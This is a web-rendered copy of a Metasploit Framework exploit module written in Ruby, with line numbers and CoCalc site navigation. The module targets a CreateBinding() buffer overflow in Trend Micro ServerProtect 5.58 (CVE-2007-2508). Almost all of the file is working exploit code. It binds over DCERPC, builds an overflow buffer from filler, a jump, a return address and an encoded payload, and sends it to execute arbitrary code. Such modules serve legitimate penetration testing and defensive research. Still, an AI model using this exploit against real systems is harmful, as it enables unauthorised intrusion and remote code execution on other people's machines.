CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/antivirus/trendmicro_serverprotect_createbinding.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::DCERPC
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Trend Micro ServerProtect 5.58 CreateBinding() Buffer Overflow',
14
'Description' => %q{
15
This module exploits a buffer overflow in Trend Micro ServerProtect 5.58 Build 1060.
16
By sending a specially crafted RPC request, an attacker could overflow the
17
buffer and execute arbitrary code.
18
},
19
'Author' => [ 'MC' ],
20
'License' => MSF_LICENSE,
21
'References' =>
22
[
23
['CVE', '2007-2508'],
24
['OSVDB', '35790'],
25
['BID', '23868'],
26
],
27
'Privileged' => true,
28
'DefaultOptions' =>
29
{
30
'EXITFUNC' => 'thread',
31
},
32
'Payload' =>
33
{
34
'Space' => 800,
35
'BadChars' => "\x00",
36
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
37
},
38
'Platform' => 'win',
39
'Targets' =>
40
[
41
[ 'Trend Micro ServerProtect 5.58 Build 1060', { 'Ret' => 0x65675aa8 } ], # pop esi; pop ecx; ret - StRpcSrv.dll
42
],
43
'DefaultTarget' => 0,
44
'DisclosureDate' => '2007-05-07'))
45
46
register_options( [ Opt::RPORT(5168) ])
47
end
48
49
def exploit
50
connect
51
handle = dcerpc_handle('25288888-bd5b-11d1-9d53-0080c83a5c2c', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
52
print_status("Binding to #{handle} ...")
53
54
dcerpc_bind(handle)
55
print_status("Bound to #{handle} ...")
56
57
filler = rand_text_alpha(360) + Rex::Arch::X86.jmp_short(6) + make_nops(2)
58
filler << [target.ret].pack('V') + payload.encoded
59
filler << rand_text_english(1400 - payload.encoded.length)
60
61
len = filler.length
62
63
sploit = NDR.long(0x001f0002) + NDR.long(len) + filler + NDR.long(len)
64
65
print_status("Trying target #{target.name}...")
66
67
begin
68
dcerpc_call(0, sploit)
69
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
70
end
71
72
handler
73
disconnect
74
end
75
end
76
77